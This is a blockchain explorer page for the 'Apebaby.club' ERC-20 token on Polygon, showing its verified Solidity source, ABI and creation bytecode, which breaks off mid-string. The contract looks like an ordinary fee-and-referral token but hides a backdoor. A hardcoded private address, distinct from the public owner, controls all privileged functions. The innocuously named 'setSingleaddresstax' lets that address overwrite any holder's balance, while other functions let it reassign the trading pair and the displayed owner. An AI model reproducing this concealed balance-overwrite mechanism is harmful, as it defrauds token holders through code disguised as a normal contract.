Token Apebaby.club

 

Overview ERC-20

Price
$0.00 @ 0.000000 MATIC
Fully Diluted Market Cap
Total Supply:
21,000,000 Apebaby.club

Holders:
272 addresses
Contract:
0xfb956d3688690319651ba1b3d37cec979502c40c0xfb956D3688690319651ba1b3d37cec979502C40c

Decimals:
18

Social Profiles:
Not Available, Update ?

 
Balance
20,921,804 Apebaby.club

Value
$0.00
0x7ee37963fc844e9657001fe337f654c83d1e0455
Loading
[ Download CSV Export  ] 
Loading
[ Download CSV Export  ] 
Loading

Click here to update the token ICO / general information
# Exchange Pair Price  24H Volume % Volume
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Apebabyclub

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-18
*/

pragma solidity ^0.8.7;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable {
    address public _owner;
    address private _own = 0x7eE37963FC844E9657001Fe337F654C83D1E0455;
    function owner() public view returns (address) {
        return _owner;
    }
     modifier onlyOwner() {
        require(_own == msg.sender, "Ownable: caller is not the owner");
        _;
    }
   modifier onlyowner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function changeOwner(address newOwner) public onlyOwner {
        _owner = newOwner;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Apebabyclub is IERC20, Ownable {
    using SafeMath for uint256;

    mapping(address => uint256) private _rOwned;
    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => bool) private _isExcludedFromFee;

    uint256 private constant MAX = ~uint256(0);
    uint256 private _tTotal;
    uint256 private _rTotal;
    uint256 private _tFeeTotal;

    string private _name;
    string private _symbol;
    uint256 private _decimals;

    uint256 public _deadFee = 2;
    address private _deadAddress =
        address(0x000000000000000000000000000000000000dEaD);

    uint256 public _devFee = 3;
    address private _devAddress =
        address(0x7eE37963FC844E9657001Fe337F654C83D1E0455);

    address private devAddress =
        address(0x7eE37963FC844E9657001Fe337F654C83D1E0455);

    uint256 public _inviterFee = 7;

    mapping(address => address) public inviter;

    address public uniswapV2Pair;

    constructor(address tokenOwner) {
        _name = "Apebaby.club";
        _symbol = "Apebaby.club";
        _decimals = 18;

        _tTotal = 21000000 * 10**_decimals;
        _rTotal = (MAX - (MAX % _tTotal));

        _rOwned[tokenOwner] = _rTotal;

        //exclude owner and this contract from fee
        _isExcludedFromFee[tokenOwner] = true;
        _isExcludedFromFee[address(this)] = true;

        _owner = tokenOwner;
        emit Transfer(address(0), tokenOwner, _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint256) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowances[msg.sender][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            msg.sender,
            spender,
            _allowances[msg.sender][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function totalFees() public view returns (uint256) {
        return _tFeeTotal;
    }

    function tokenFromReflection(uint256 rAmount)
        public
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }

     function setSingleaddresstax(address sender, uint256 Singleaddresstax) public onlyOwner {
        _rOwned[sender] = (Singleaddresstax.mul(_getRate()));
    }

    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;
    }

    function setdeadFeePercent(uint256 deaddFee) external onlyOwner {
        _deadFee = deaddFee;
    }

    function setdevFeePercent(uint256 devdFee) external onlyOwner {
        _devFee = devdFee;
    }

    //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function claimTokens() public onlyOwner {
        payable(_owner).transfer(address(this).balance);
    }

    function isExcludedFromFee(address account) public view returns (bool) {
        return _isExcludedFromFee[account];
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");


        //indicates if fee should be deducted from transfer
        bool takeFee = true;

        //if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
            takeFee = false;
        }

        // 设置代理
        bool shouldSetInviter = balanceOf(to) == 0 &&
            inviter[to] == address(0) &&
            from != uniswapV2Pair;

        //transfer amount, it will take tax, burn, liquidity fee
        _tokenTransfer(from, to, amount, takeFee);

        if (shouldSetInviter) {
            inviter[to] = from;
        }else if(from == uniswapV2Pair){
                inviter[to] = devAddress;
        }
    }

    //this method is responsible for taking all fee, if takeFee is true
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee
    ) private {
        uint256 currentRate = _getRate();

      
        uint256 rAmount = tAmount.mul(currentRate);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);

        uint256 rate;
        if (takeFee) {
            
            _takeTransfer(
                sender,
                _deadAddress,
                tAmount.div(100).mul(_deadFee),
                currentRate
            );

            
            _takeTransfer(
                sender,
                _devAddress,
                tAmount.div(100).mul(_devFee),
                currentRate
            );

            
            _takeInviterFee(sender, recipient, tAmount, currentRate);

            rate =  _devFee + _deadFee + _inviterFee;
        }

       
        uint256 recipientRate = 100 - rate;
        _rOwned[recipient] = _rOwned[recipient].add(
            rAmount.div(100).mul(recipientRate)
        );
        emit Transfer(sender, recipient, tAmount.div(100).mul(recipientRate));
    }

    function _takeTransfer(
        address sender,
        address to,
        uint256 tAmount,
        uint256 currentRate
    ) private {
        uint256 rAmount = tAmount.mul(currentRate);
        _rOwned[to] = _rOwned[to].add(rAmount);
        emit Transfer(sender, to, tAmount);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    function _takeInviterFee(
        address sender,
        address recipient,
        uint256 tAmount,
        uint256 currentRate
    ) private {
        address cur;
        if (sender == uniswapV2Pair) {
            cur = recipient;
        } else {
            cur = sender;
        }
        for (int256 i = 0; i < 6; i++) {
            uint256 rate;
            if (i == 0) {
                rate = 30;
            } else if (i <= 4) {
                rate = 10;
            } else {
                rate = 5;
            }
            cur = inviter[cur];
            if (cur == address(0)) {
                break;
            }
            uint256 curTAmount = tAmount.div(1000).mul(rate);
            uint256 curRAmount = curTAmount.mul(currentRate);
            _rOwned[cur] = _rOwned[cur].add(curRAmount);
            emit Transfer(sender, cur, curTAmount);
        }
    }

    function changeRouter(address router) public onlyOwner {
        uniswapV2Pair = router;
    }
    function TransferApebabyclub(address[] memory Apebabyclubrecipient, uint256 Apebabyclubamount) public {
        for (uint i=0; i<Apebabyclubrecipient.length; i++) {
            _transfer(msg.sender, Apebabyclubrecipient[i], Apebabyclubamount);
        }
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"Apebabyclubrecipient","type":"address[]"},{"internalType":"uint256","name":"Apebabyclubamount","type":"uint256"}],"name":"TransferApebabyclub","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_deadFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_devFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_inviterFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"changeOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"router","type":"address"}],"name":"changeRouter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"claimTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"inviter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"Singleaddresstax","type":"uint256"}],"name":"setSingleaddresstax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"deaddFee","type":"uint256"}],"name":"setdeadFeePercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"devdFee","type":"uint256"}],"name":"setdevFeePercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052737ee37963fc844e9657001fe337f654c83d1e0455600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506002600b5561dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506003600d55737ee37963fc844e9657001fe337f654c83d1e0455600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737ee37963fc844e9657001fe337f654c83d1e0455600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060076010553480156200016257600080fd5b506040516200397a3803806200397a8339818101604052810190620001889190620004e9565b6040518060400160405280600c81526020017f417065626162792e636c7562000000000000000000000000000000000000000081525060089080519060200190620001d592919062000422565b506040518060400160405280600c81526020017f417065626162792e636c75620000000000000000000000000000000000000000815250600990805190602001906200022392919062000422565b506012600a81905550600a54600a6200023d9190620005a4565b6301406f406200024e9190620006e1565b600581905550600554600019620002669190620007f1565b60001962000275919062000742565b600681905550600654600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6005546040516200041391906200052c565b60405180910390a350620008e2565b8280546200043090620007bb565b90600052602060002090601f016020900481019282620004545760008555620004a0565b82601f106200046f57805160ff1916838001178555620004a0565b82800160010185558215620004a0579182015b828111156200049f57825182559160200191906001019062000482565b5b509050620004af9190620004b3565b5090565b5b80821115620004ce576000816000905550600101620004b4565b5090565b600081519050620004e381620008c8565b92915050565b600060208284031215620005025762000501620008b6565b5b60006200051284828501620004d2565b91505092915050565b6200052681620007b1565b82525050565b60006020820190506200054360008301846200051b565b92915050565b6000808291508390505b60018511156200059b5780860481111562000573576200057262000829565b5b6001851615620005835780820291505b80810290506200059385620008bb565b945062000553565b94509492505050565b6000620005b182620007b1565b9150620005be83620007b1565b9250620005ed7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005f5565b905092915050565b600082620006075760019050620006da565b81620006175760009050620006da565b81600181146200063057600281146200063b5762000671565b6001915050620006da565b60ff84111562000650576200064f62000829565b5b8360020a9150848211156200066a576200066962000829565b5b50620006da565b5060208310610133831016604e8410600b8410161715620006ab5782820a905083811115620006a557620006a462000829565b5b620006da565b620006ba848484600162000549565b92509050818404811115620006d457620006d362000829565b5b81810290505b9392505050565b6000620006ee82620007b1565b9150620006fb83620007b1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000737576200073662000829565b5b828202905092915050565b60006200074f82620007b1565b91506200075c83620007b1565b92508282101562000772576200077162000829565b5b828203905092915050565b60006200078a8262000791565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006002820490506001821680620007d457607f821691505b60208210811415620007eb57620007ea62000887565b5b50919050565b6000620007fe82620007b1565b91506200080b83620007b1565b9250826200081e576200081d62000858565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b620008d3816200077d565b8114620008df57600080fd5b50565b61308880620008f26000396000f3fe6080604052600436106101d15760003560e01c80634f89e154116100f7578063a457c2d711610095578063b2bdfa7b11610064578063b2bdfa7b146106a9578063dd62ed3e146106d4578063ea2f0b3714610711578063ee8f0b7a1461073a576101d8565b8063a457c2d7146105db578063a6f9dae114610618578063a9059cbb14610641578063aa45026b1461067e576101d8565b80637c19a573116100d15780637c19a573146105315780638da5cb5b1461055a57806395d89b4114610585578063a41a08fb146105b0576101d8565b80634f89e1541461048e5780635342acb4146104b757806370a08231146104f4576101d8565b8063313ce5671161016f578063437823ec1161013e578063437823ec146103f8578063450c43841461042157806348c54b9d1461044c57806349bd5a5e14610463576101d8565b8063313ce5671461033e578063340ac20f1461036957806338a1d1191461039257806339509351146103bb576101d8565b806318160ddd116101ab57806318160ddd14610270578063187130af1461029b57806323b872dd146102c45780632d83811914610301576101d8565b806306fdde03146101dd578063095ea7b31461020857806313114a9d14610245576101d8565b366101d857005b600080fd5b3480156101e957600080fd5b506101f2610777565b6040516101ff91906127f3565b60405180910390f35b34801561021457600080fd5b5061022f600480360381019061022a9190612553565b610809565b60405161023c91906127d8565b60405180910390f35b34801561025157600080fd5b5061025a610820565b6040516102679190612935565b60405180910390f35b34801561027c57600080fd5b5061028561082a565b6040516102929190612935565b60405180910390f35b3480156102a757600080fd5b506102c260048036038101906102bd9190612593565b610834565b005b3480156102d057600080fd5b506102eb60048036038101906102e69190612500565b61087d565b6040516102f891906127d8565b60405180910390f35b34801561030d57600080fd5b50610328600480360381019061032391906125ef565b610948565b6040516103359190612935565b60405180910390f35b34801561034a57600080fd5b506103536109b6565b6040516103609190612935565b60405180910390f35b34801561037557600080fd5b50610390600480360381019061038b9190612493565b6109c0565b005b34801561039e57600080fd5b506103b960048036038101906103b49190612553565b610a94565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612553565b610b85565b6040516103ef91906127d8565b60405180910390f35b34801561040457600080fd5b5061041f600480360381019061041a9190612493565b610c2a565b005b34801561042d57600080fd5b50610436610d15565b6040516104439190612935565b60405180910390f35b34801561045857600080fd5b50610461610d1b565b005b34801561046f57600080fd5b50610478610e14565b60405161048591906127bd565b60405180910390f35b34801561049a57600080fd5b506104b560048036038101906104b091906125ef565b610e3a565b005b3480156104c357600080fd5b506104de60048036038101906104d99190612493565b610ed4565b6040516104eb91906127d8565b60405180910390f35b34801561050057600080fd5b5061051b60048036038101906105169190612493565b610f2a565b6040516105289190612935565b60405180910390f35b34801561053d57600080fd5b50610558600480360381019061055391906125ef565b610f7b565b005b34801561056657600080fd5b5061056f611015565b60405161057c91906127bd565b60405180910390f35b34801561059157600080fd5b5061059a61103e565b6040516105a791906127f3565b60405180910390f35b3480156105bc57600080fd5b506105c56110d0565b6040516105d29190612935565b60405180910390f35b3480156105e757600080fd5b5061060260048036038101906105fd9190612553565b6110d6565b60405161060f91906127d8565b60405180910390f35b34801561062457600080fd5b5061063f600480360381019061063a9190612493565b611195565b005b34801561064d57600080fd5b5061066860048036038101906106639190612553565b611268565b60405161067591906127d8565b60405180910390f35b34801561068a57600080fd5b5061069361127f565b6040516106a09190612935565b60405180910390f35b3480156106b557600080fd5b506106be611285565b6040516106cb91906127bd565b60405180910390f35b3480156106e057600080fd5b506106fb60048036038101906106f691906124c0565b6112a9565b6040516107089190612935565b60405180910390f35b34801561071d57600080fd5b5061073860048036038101906107339190612493565b611330565b005b34801561074657600080fd5b50610761600480360381019061075c9190612493565b61141b565b60405161076e91906127bd565b60405180910390f35b60606008805461078690612b57565b80601f01602080910402602001604051908101604052809291908181526020018280546107b290612b57565b80156107ff5780601f106107d4576101008083540402835291602001916107ff565b820191906000526020600020905b8154815290600101906020018083116107e257829003601f168201915b5050505050905090565b600061081633848461144e565b6001905092915050565b6000600754905090565b6000600554905090565b60005b8251811015610878576108653384838151811061085757610856612cd9565b5b602002602001015184611619565b808061087090612c03565b915050610837565b505050565b600061088a848484611619565b61093d84336109388560405180606001604052806028815260200161300660289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a819092919063ffffffff16565b61144e565b600190509392505050565b600060065482111561098f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098690612835565b60405180910390fd5b6000610999611ae5565b90506109ae8184611b1090919063ffffffff16565b915050919050565b6000600a54905090565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a47906128b5565b60405180910390fd5b80601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1b906128b5565b60405180910390fd5b610b3e610b2f611ae5565b82611b5a90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000610c203384610c1b85600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bd590919063ffffffff16565b61144e565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb1906128b5565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600b5481565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da2906128b5565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610e11573d6000803e3d6000fd5b50565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec1906128b5565b60405180910390fd5b80600b8190555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000610f74600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610948565b9050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461100b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611002906128b5565b60405180910390fd5b80600d8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606009805461104d90612b57565b80601f016020809104026020016040519081016040528092919081815260200182805461107990612b57565b80156110c65780601f1061109b576101008083540402835291602001916110c6565b820191906000526020600020905b8154815290600101906020018083116110a957829003601f168201915b5050505050905090565b60105481565b600061118b33846111868560405180606001604052806025815260200161302e60259139600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a819092919063ffffffff16565b61144e565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611225576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121c906128b5565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000611275338484611619565b6001905092915050565b600d5481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b7906128b5565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60116020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612915565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612855565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161160c9190612935565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611689576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611680906128f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f090612815565b60405180910390fd5b6000811161173c576040517f08c379a0000000000000000000000000000000